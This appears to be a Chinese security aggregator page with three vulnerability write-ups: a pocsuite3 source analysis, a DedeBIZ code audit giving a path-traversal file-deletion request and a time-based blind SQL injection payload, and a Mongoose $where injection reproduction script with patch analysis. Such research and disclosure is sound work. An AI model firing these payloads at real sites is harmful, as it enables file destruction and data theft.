Aggregator
甲方安全何时需要自研安全产品?安全平台工程团队的价值与落地策略
Darcula PhaaS can now auto-generate phishing kits for any brand
'Darcula' Phishing Kit Can Now Impersonate Any Brand
CyberStrong February Product Update
The team at CyberSaint is thrilled to announce the latest additions and updates to the CyberStrong solution. To start, we’re expanding Phase 1 of Asset Management with custom types and attributes. Additionally, we’ve added status updates, schedule, and pause for Continuous Control Automation (CCA) and included the ability to adjust the control weight by risk template or scenario.
The post CyberStrong February Product Update appeared first on Security Boulevard.
RansomHub:勒索软件新王者降临?2024 年狂袭 600 家企业
pocsuite3安全工具源码分析
pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。为了更好理解其运行逻辑,本文将从源码角度分析该项目的初始化,多线程函数,poc模板等等源码。
项目结构api:对要导入的包重命名,方便后续导入调用data:存储用户需要使用的文档数据lib:项目核心代码modules:存储用户自定义的模块plugins:存储用户自定义的插件pocs:存储poc文件shellcodes:存储生成php,java,python等脚本语言的利用代码,以及反弹shell的利用代码cli.py:项目的入口console.py:命令行界面
进入项目入口:/pocsuite3/cli.py
check_environment() #检查当前工作目录是否符合当前系统set_paths(). #设置后续需要用到的数据,目录信息banner() #打印命令行页面的横幅
init_options(cmd_line_parser().dict) # 命令行参数处理跟进cmd_line_parser()查看:
此处注意一个参数-c
target.add_argument("-c", dest="configFile", help="Load optionsfrom a configuration INI file")
可以先在pocsuite.ini配置好参数,通过pocsuite -c pocsuite.ini 运行
双重跟进init_options(),找到命令行存储参数:
可见采用了类似字典的形式存储,避免了重复数据且还有其它四个参数也采用了该形式存储,五个参数贯穿整个项目
conf:存储基本配置信息kb:存储了目标地址、加载的PoC、运行模式、输出结果、加载的PoC文件地址、多线程信息等cmd_line_options:是存储命令行输入的参数值merged_options:存储输入值与默认值合并后的结果paths:存储数据、插件、poc等目录地址
参数获取处理完后,进入项目初始化,init()函数,一下对部分函数进行注解分析:
def init():"""
Set attributes into both configuration and knowledge base singletons
based upon command line and configuration file options.
"""
set_verbosity() #日志输出级别设置
_adjust_logging_formatter() #调整日志格式器
_cleanup_options() #将各个配置项格式化,并校验合法性
_basic_option_validation() #校验seebug,zoomeye等api,token的合法性
_create_directory() #检测文件路径是否存在,不存在则创建
_init_kb_comparison()
update()
_set_multiple_targets() #读取目标
_set_user_pocs_path()
_set_pocs_modules() #动态加载poc
_set_plugins() #动态加载插件
_init_targets_plugins()
_init_pocs_plugins()
_set_task_queue() #初始化多线程设置
_init_results_plugins() #初始化输出插件 AttribDict类解析
前文也提到过以下五个全局变量,它们均通过创建AttribDict类的实例进行使用,现在我们跟进类详细分析:
AttribDict()类:
自定义类,继承自python内建的OrderedDict类,扩展访问方式,简化了对字典键的访问。主要存在三个方法:getattr(),setattr(),delattr()这三个方法在if判断逻辑均相同:1:以双下划线 __ 开头(例如,Python 的内置属性,如 dict)。2:以 _OrderedDict__ 开头(因为 OrderedDict在内部实现中使用的名称)。3:名字存在于 exclude_keys 集合中(排除的键)。如果任一条件成立,说明这个属性不应该通过 obj.attr访问,所以跳过使用自定义的 getattr处理,直接调用父类对应的方法访问。例:getattr()就调用父类的getattribute()访问
如果属性名不满足,则通过字典的方式,添加或者删除AttribDict中
地址处理代码分析先查看存储初始数据,存在则进行下一步。通过set()创建集合方便去重,再遍历conf.url数据,通过parde_target()进行对url进行分析处理,并且在不为空的情况下调用集合的add()方法添加,完成后再将,用于临时存储的target集合里面的数据,放到kb这种全局变量内。parde_target()函数
接受参数后先if判断,如果是域名,url,ip:端口形式则直接赋值给target跟进其中一个判断函数:
跟进:
可见是通过正则进行判断。接着再判断如果为http://ipv6形式,则启动ipv6配置,并进行赋值target,依旧是正则判断。
再判断如果为ipv4则调用python内置ip_address解析赋值,该方法自动区分ipv4或者ipv6并最后返回对应的对象。再通过else判断,对纯ipv6地址,或者ipv6网络进行解析赋值。
动态poc加载Step1:从pocs目录加载先通过os.listdir读取对应目录,返回一个含有poc的py文件的列表。再通过filter()函数过滤init.之类文件,不过此时filter()函数返回的是一个迭代器,所以又通过list()函数将数据处理成列表再赋值。(lambda x: x not in ['init.py','init.pyc']:这个匿名函数会检查每个文件名 x 是否不等于'init.py' 或 'init.pyc'。)
再从含有类似thinkphp_poc.py的文件名中,通过x变量循环读取,并通过splitex()函数将其分为"thinkphp_poc",".py"格式的键值队元组。再次通过dict()字典函数,将x元组的第一个元素作为字典的键,第二个元素作为字典的值。
如果poc是目录,则使用 os.walk() 递归遍历该目录下的所有文件,过滤出 .py或 .yaml 文件,并将其完整路径添加到 _pocs 列表中。
Step2:遍历加载 PoC 文件内容并检查,并对加载失败的poc进行日志记录。
Step3:最后从 Seebug 网站加载 PoC。
poc模版跟据目录找到现存poc:pocsuite3/pocs,thinkphp_rce为例
所有模版均是继承自父类POCBase,跟进:
父类在初始化时便设置了一系列可能用到的属性,例如自定义headers,目标url,端口等等。这里关注execute()函数
self.url处采用if判断:如果为http协议则采用parse_target_url()解析,else采用build_url()解析:mode值默认为verify。随后调用_execute()根据mode值执行。
shell(),attack(),_verify()均需自定义重写。回到例thinkphp_rce例子:_verify()函数如下:
调用了_check()函数进行检验:
通过request.post()发送设置好payload的请求,根据返回包关键字判断是否成功。(flag自定义)返回的结果在_verify()函数又会调用parse_output()转化为json格式输出。
动态核心load_file_to_module()继续分析_set_pocs_modules()
将读取文件切割为文件名和后缀名,根据后缀名重构路径file_pth,if判断file_path构建成功则进入红框代码处。
通过get_filename()从file_path路径提取文件名,由于wuth.ext=False,则不提取文件名后缀,提取后拼接在pocs_后并赋值给module,例如:pocs_thinkphp_rce。随后三行代码涉及到python中动态模块加载知识:
spec = importlib.util.spec_from_file_location(module_name, file_path,loader=PocLoader(module_name, file_path))
#创建模块规格,采用自定义加载器类加载模块,loader:加载器对象,负责如何从文件加载模块
mod = importlib.util.module_from_spec(spec)#根据规格创建模块对象
spec.loader.exec_module(mod) #执行模块代码,确保为完整可用的模块
动态模块注解:
模块是包含 Python 代码的文件,可以通过 import语句加载并使用。通常,当你使用 import 语句导入一个模块时,Python会根据模块的名称查找相应的文件(如 .py 文件),并将其加载到内存中。
然而,在一些特殊的情况下,比如动态加载模块或运行时创建模块,我们需要用到importlib 模块。importlib提供了一些工具,可以帮助我们在运行时加载模块,而不是在编写代码时静态地导入。
例如:importlib.util.spec_from_file_location
spec(模块加载规格)描述了如何加载一个模块。它定义了如何找到模块代码,如何加载它,以及加载时需要的一些元数据。类似于说明书,它告诉Python 模块在哪里、叫什么名字、以及如何加载它。
接着看看是如何调用loader加载器的exec_module()函数进行加载的:
filename接受poc绝对路径,poc_code接受poc文件内容。随后调用check_requires()检查代码运行中需要的包,通过import函数导入。compile()为python内置函数,将源代码字符串poc_code编译为字节码,'exec'这是一个编译模式,表示代码将作为一段可执行的代码被执行。常见的编译模式有'eval'(用于单个表达式)和 'exec'(用于整个代码块)之后再调用exec()函数执行字节码对象obj当中的代码,并绑定到module.dict上,这样就可以通过module.函数()直接调用poc_code当中的函数。
多线程与输出加载跟进:_set_task_queue()
if判断,poc模版与目标ip均不为空情况下,遍历出poc_module与target。并将它们组成元组,加入kb.task_queue中,确保数据在线程安全传输。
start()函数
调用runtime_check()检查poc是否加载成功:
再调用python标准库中的queue.Queue类的qsize()方法,获取先前kb.task_queue队列的任务数量。run_threads()函数随后进入start()函数核心:run_threads(conf.threads, task_run):该函数传入线程数conf.threads(),与多线程执行函数task_run()。
这个函数的目的是启动多个线程并执行给定的函数thread_function。num_threads: 需要启动的线程数量。thread_function: 要在线程中运行的目标函数。args: 传递给 thread_function 的参数,默认为空元组。forward_exception: 控制是否在捕获异常后继续传播异常,默认值为 True。start_msg: 控制是否输出启动线程的消息,默认值为 True。
先threads = []创建空列表,用来存储后续的线程实例
随后进行线程数检查,如果大于1,则是多线程,并在线程数超过max时发出告警提示,线程不大于1,则直接执行函数
检查完为多线程则进行下一步:循环创建线程,并启动
根据num_threads数量循环创建,并调用setDaemon(TRUE)将所有线程设置为守护线程。(守护线程:后台运行,随主线程终止而终止)
随后再调用python标准库函数isAlive()进行循环检查,直到所有线程完成才跳出循环。(python3建议使用is_Alive()函数)。
执行完run_threads()函数后,finally代码再执行task_done(),跟进该函数,内部存在三个函数:
show_task_result():会取出poc执行结果,然后格式化输出
result_plugins_start():该函数负责调用file_record.py中的start()函数
result_compare_handle():显示来自各个搜索引擎的对比数据
先前已经分析了start(0函数核心在于run_threads(conf.threads,task_run),我们接着跟进分析多线程执行函数:task_run()
多线程执行函数:
task_run():
先确认task_queue不为空,并且thread_continue为真,随后从task_queue获取目标ip与poc模版
(之前通过task_queue.put((target,poc_module))存储进去的)
随后调用python标准库copy模块中的deepcpy,进行深拷贝操作,复制poc模版,防止原始poc模块被修改。
poc_name获取poc模块名称方便日志打印。
随后处理用户自定义参数,检查是否尝试修改白名单内容,并校验是否存在必选参数未设置。
随后进入核心代码块,根据传参调用excute()函数:
后续则是根据测试成功或者失败,对结果进行处理输出
综合文章分析,pocsuite3项目被我分成如下执行流程:
在clip.py中调用main()函数,整个项目则开始执行,进行环境检查,参数获取后,则进入核心代码:在main()函数中调用init()与start()函数,最后则是我上文刚分析过的数据处理与输出格式化。
DedeBIZ系统审计小结
之前简单审计过DedeBIZ系统,网上还没有对这个系统的漏洞有过详尽的分析,于是重新审计并总结文章,记录下自己审计的过程。
https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip
?DedeBIZ 系统并非基于 MVC 框架,而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析,因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。
我一般会首先关注对文件的操作,任意文件上传、任意文件删除,任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点,除了黑盒测试时关注功能点外,通过代码审计来看的话速度会更快一点。(这里有一个小技巧,就是直接全局搜索?filename=,一些 js 文件中可能会包含对文件处理的操作,搜索到后就可以直接进行尝试。)
授权任意文件删除 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php
Connection: close
src\admin\file_manage_control.php
src\admin\file_class.php#DeleteFile
该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时,由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件,缺乏路径校验,导致攻击者可以构造 ../进行目录遍历,删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求,利用 filename=../1.txt逃出受限目录,删除站点根目录下的 1.txt文件。
首先需要创建表单
修改添加字段信息
点击字段发布信息
构造数据包
POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end
(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。
为什么我们操作的时候需要那么多的前置条件呢,接下来我会详细说明,首先我们从代码层面查看:
src/admin/diy_list.php
对传入的参数 数组 id 通过 , 拼接起来,最后传参到 SQL 语句:
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";参数可以通过 ) 闭合,构成 SQL 注入
我们注意到:
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";if ($dsql->ExecuteNoneQuery($query)) {
showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");
} else {
showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");
}
执行的结果并不会直接返回到界面上,所以这个漏洞时一个盲注漏洞,基于盲注漏洞的特点以及执行数据库时,如果这个表为空,那么便不会执行成功,为了使这个数据库语句执行成功,数据库中必须先保存有数据。
同时这个注入漏洞可以说绝无仅有:
对比代码我们发现,就这一部分没有对变量 id 的类型进行检测。
Citrix addressed NetScaler console privilege escalation flaw
Mongoose 搜索注入漏洞分析
CVE-2024-53900 Mongoose 8.8.3、7.8.3 和 6.13.5 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,这可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。
CVE-2025-23061 Mongoose 8.9.5、7.8.4 和 6.13.6 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。该问题的存在是因为CVE-2024-53900的修复不完整。
Mongoose 是一个用于 Node.js 的 MongoDB 对象建模工具,它使得与 MongoDB 数据库交互变得更加简单和高效。我们可以看到这两个漏洞描述大体相同,都是因为在使用 $where 运算符时出现了问题。
环境搭建安装 MongoDB 不知道是不是本地环境的问题,错误百出,于是还是采用 docker 来安装 docker pull mongo docker run --name mongodb -d -p 27017:27017 mongo
快速创建一个项目并指定 mongoose 版本
npm init -ynpm install [email protected] --save
node test.js 漏洞复现
根据漏洞特点我编写了一个 js 脚本,在不同版本下执行,比较不同情况对应的结果
const mongoose = require("mongoose");// 连接 MongoDB
const MONGO_URI = "mongodb://localhost:27017/testdb";
async function testWhereInjection() {
await mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true });
// 定义 User 模型和 Post 模型
const UserSchema = new mongoose.Schema({
username: String,
isAdmin: Boolean,
password: String
});
const PostSchema = new mongoose.Schema({
title: String,
content: String,
author: { type: mongoose.Schema.Types.ObjectId, ref: 'User' }
});
const User = mongoose.model("User", UserSchema);
const Post = mongoose.model("Post", PostSchema);
// 插入测试数据
await User.deleteMany({});
await Post.deleteMany({});
const users = await User.insertMany([
{ username: "admin", isAdmin: true, password: "admin123" },
{ username: "user1", isAdmin: false, password: "user123" },
{ username: "user2", isAdmin: false, password: "user456" }
]);
await Post.insertMany([
{ title: "Post 1", content: "Content 1", author: users[0]._id },
{ title: "Post 2", content: "Content 2", author: users[1]._id }
]);
console.log("√ 已插入测试数据");
// 1. 正常的 populate 查询
try {
const result = await Post.findOne().populate({
path: 'author',
match: { username: "admin" }
});
console.log("√ 正常 populate 查询结果:", result);
} catch (err) {
console.error("× 正常 populate 查询失败:", err.message);
}
// 2. 测试 populate match 中的 $where 注入
try {
const result = await Post.findOne().populate({
path: 'author',
match: { $where: "this.isAdmin" } // 修改这里,去掉 return
});
console.log("√ `$where` populate 查询成功,说明可能存在漏洞:", result);
} catch (err) {
console.error("× `$where` populate 查询被拦截:", err.message);
}
// 3. 测试深层嵌套的 $where 注入
try {
const result = await Post.findOne().populate({
path: 'author',
match: {
$and: [
{ nested: { $where: "this.isAdmin" } } // 修改这里,去掉 return
]
}
});
console.log("√ 嵌套 `$where` populate 查询成功,说明可能存在漏洞:", result);
} catch (err) {
console.error("× 嵌套 `$where` populate 查询被拦截:", err.message);
}
// 4. 测试数组中的 $where 注入
try {
const result = await Post.findOne().populate({
path: 'author',
match: [{ $where: "this.isAdmin" }] // 修改这里,去掉 return
});
console.log("√ 数组中的 `$where` populate 查询成功,说明可能存在漏洞:", result);
} catch (err) {
console.error("× 数组中的 `$where` populate 查询被拦截:", err.message);
}
await mongoose.disconnect();
}
testWhereInjection().catch(console.error); [email protected] [email protected] [email protected]
通过执行结果我们发现,在 [email protected] 中,$where 语句可以任意执行语句,经过修复后的 [email protected] 中,只能通过嵌套来执行插入的语句,[email protected] 已经修复了通过嵌套执行插入语句的问题。
https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&w=
第一次进行修复
1. 首先判断 match 是否为一个数组,使用 Array.isArray(match)进行检查。
2. 如果 match 是一个数组,则使用 for...of 循环遍历数组中的每个元素 item。
3. 对于每个 item,进行以下检查:
如果item 不为 null (item !\= null),并且 item 对象中存在 $where 属性(item.$where),则抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。这是因为在 populate() 查询中不允许使用 $where 操作符。
4. 如果 match 不是一个数组,则进行另一个判断:
如果 match 不为 null (match !\= null),并且 match 对象中存在 $where 属性(match.$where !\= null),同样抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。
进行 populate() 查询时,防止使用 $where 操作符,检查传入的 match 参数是否包含 $where 属性,无论 match 是一个数组还是一个对象。如果发现 match 中存在 $where 属性,就会抛出一个 MongooseError 异常,提示不能在 populate() 查询中使用 $where 过滤器
https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&w=
第二次修复
1. 函数接受一个参数 match,表示要检查的对象。
2. 首先进行两个条件判断:
如果 match 为null 或 undefined,直接返回,不进行后续检查。
如果 match 的类型不是对象,也直接返回,不进行后续检查。 这两个判断是为了避免对非对象类型进行遍历和递归。
3. 使用 Object.keys(match) 获取 match 对象的所有属性键,并使用 for...of 循环遍历每个属性键 key。
4. 对于每个属性键 key,进行以下检查:
如果 key 等于 '$where',表示在 match 对象中发现了 $where 操作符,抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。
5. 如果当前属性的值 match[key] 不为 null 或 undefined,并且其类型为对象,则递归调用 throwOn$where 函数,将 match[key] 作为参数传入,对嵌套的对象进行相同的检查。
通过递归调用 throwOn$where 函数,可以对 match 对象进行深度遍历,检查其中是否包含 $where 操作符,无论 $where 操作符位于对象的哪个层级。